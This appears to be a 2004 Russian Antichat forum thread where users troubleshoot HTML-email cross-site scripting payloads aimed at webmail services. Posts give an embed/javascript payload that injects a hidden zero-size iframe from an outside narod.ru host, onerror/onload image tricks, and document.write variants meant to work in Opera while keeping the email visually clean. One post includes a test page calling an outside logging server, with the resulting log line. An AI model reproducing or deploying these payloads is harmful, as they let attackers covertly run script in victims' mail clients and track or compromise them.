Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   про статью на сайте (https://forum.antichat.xyz/showthread.php?t=2312)

21.07.2004 15:19

я отправил на тестовый мыльник письмо в html виде с кодом </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><embed src="javascript:status=location;document.getElemen tById('xxx').innerHTML='<iframe src=http://asdfg178.narod.ru/jopa.html width=0 height=0></iframe>';this.wav" width=0 height=0> <p id='xxx'>[/QUOTE]<span id='postcolor'>
тока нихрена не работает &nbsp;http://forum.antichat.ru/iB_html/non...ticons/sad.gif

.:xz:. 21.07.2004 15:22

зы если туда отправить просто линк и понему сходить,всё ок

Algol 22.07.2004 11:54

Ну так выясни почему не работает...
Отошли письмо сам себе, размерись со скриптом...
Разводить руками и говорить не работает все могут..
(а скрипт в принципе работоспособный, сам проверял)

mexcrack 25.07.2004 16:22

Еще один вопрос про эту же статью.... в таблице на против Яндекса в колонке JS указано Onerror и Onload... что это хоть такое то? http://forum.antichat.ru/iB_html/non...s/confused.gif &nbsp;Да, а правее написано, что это дает удаление сайта *.narod.ru, а почтовый ящик взломать нельзя? http://forum.antichat.ru/iB_html/non...ticons/sad.gif

Algol 25.07.2004 21:41

onerror и onload это события, возникающие при ошибке или при загрузке чего-либо.
В статье подразмеваются конструкции типа &lt;img src=&quot;http://noname.net/pupkin.jpg&quot; onerror=alert()&gt;
Когда страница пытается загрузить несуществующую картинку, возникает ошибка, и выполняется скрипт, указанный в обработчике onerror.
Под www.yandex.ru подразуемевается сайт бесплатного хостинга narod.yandex.ru, а не почтовый сервис.

zFailure 26.07.2004 00:02

2 mexcrack
если сделаешь все как я скажу будешь все намного лучше понимать:

скачать HomeSite 5.5
изучить HTML
изучить CSS
изучить JS
понять DOM
купить MSDN
установить Apache
изучить PHP/Perl
изучить MySQL

http://forum.antichat.ru/iB_html/non...ns/biggrin.gif

Eldar 26.07.2004 01:08

2 zFailure

Думаю что первые четыре пункта ему хватят, для того чтобы понять что такое обработчики событий onError onLoad...

mexcrack 27.07.2004 03:02

2 zFailure
Ух ты, хорошая идея... спасиба за совет... http://forum.antichat.ru/iB_html/non...ns/biggrin.gif
2 Algol
Ну что ж, попробуим... http://forum.antichat.ru/iB_html/non...s/rolleyes.gif

zFailure 29.07.2004 07:47

кстати у меня еще хобби есть: я постоянно с инета скачиваю документацию по программированию (щас уже 2ой cd копится)

всем советю делать тоже самое

JazzzSummerMan 29.07.2004 18:02

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (zFailure @ июля 29 2004,07:47)</td></tr><tr><td id="QUOTE">кстати у меня еще хобби есть: я постоянно с инета скачиваю документацию по программированию (щас уже 2ой cd копится)

всем советю делать тоже самое[/QUOTE]<span id='postcolor'>
Жаль только прочитать удается 1% из скаченного)

JazzzSummerMan 29.07.2004 18:06

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ июля 21 2004,15:19)</td></tr><tr><td id="QUOTE">я отправил на тестовый мыльник письмо в html виде с кодом </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><embed src="javascript:status=location;document.getElemen tById('xxx').innerHTML='<iframe src=http://asdfg178.narod.ru/jopa.html width=0 height=0></iframe>';this.wav" width=0 height=0> <p id='xxx'>[/QUOTE]<span id='postcolor'>
тока нихрена не работает http://forum.antichat.ru/iB_html/non...ticons/sad.gif[/QUOTE]<span id='postcolor'>
Ну во-первых у тебя &lt;iframe&gt; не заменен спец.символами. Поэтому он будет смотерться как &lt;xiframe&gt;.
Во-вторых getElementById объект DOM поддерживается ТОЧНО, только IE, насчет NN не знаю. А вот знаю что не поддерживается Оперой(хотя, бывают новые версии)). Для оперы можно сделать document.write, но тогда вся конспирация летит к чертям)

zFailure 01.08.2004 08:54

как насчет такого
document.write(document.body.innerHTML+'&lt;'+'scr ipt'+'&gt;alert();&lt;'+'/script'+'&gt;');

здесь и document.write и сохраняем конспирацию

JazzzSummerMan 01.08.2004 19:59

zFailure
Все равно ты используешь код, который не поддерживается Оперой. По поаводу document.write имелось ввиду следующее:
document.write('&lt;iframe&gt;&lt;/iframe&gt;&#39http://forum.antichat.ru/iB_html/non...icons/wink.gif;
тогда будет срабатывать на люой платформе, но при открытии письма - визуально чистая страница

zFailure 02.08.2004 12:56

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=WINDOWS-1251">
<title>Untitled</title>
</head>

<body onLoad="document.write(document.body.innerHTML+'<i frame src=http://antichat.ru/cgi-bin/s.jpg?test width=0 height=0 style=display:none;></iframe>')">

1234567890

</body>
</html>[/QUOTE]<span id='postcolor'>

этот код был вызван мною в Opera 7.53

в итоге
[Mon Aug 2 12:53:46 2004] IP=XXX.XXX.XXX.XXX REFERER= QUERY=test

JazzzSummerMan 03.08.2004 19:13

zFailure... и то верно. весьма и весьма.. хехе)
Кстати, навскидку, так, не знаешь, &lt;iframe&gt; сейчас поддерживается nentscape'ом? не наду дистрибов что-то пока..
В скором времени отпишу сюда ещще кое-что, давольно интересная тема недавно была)


Время: 08:33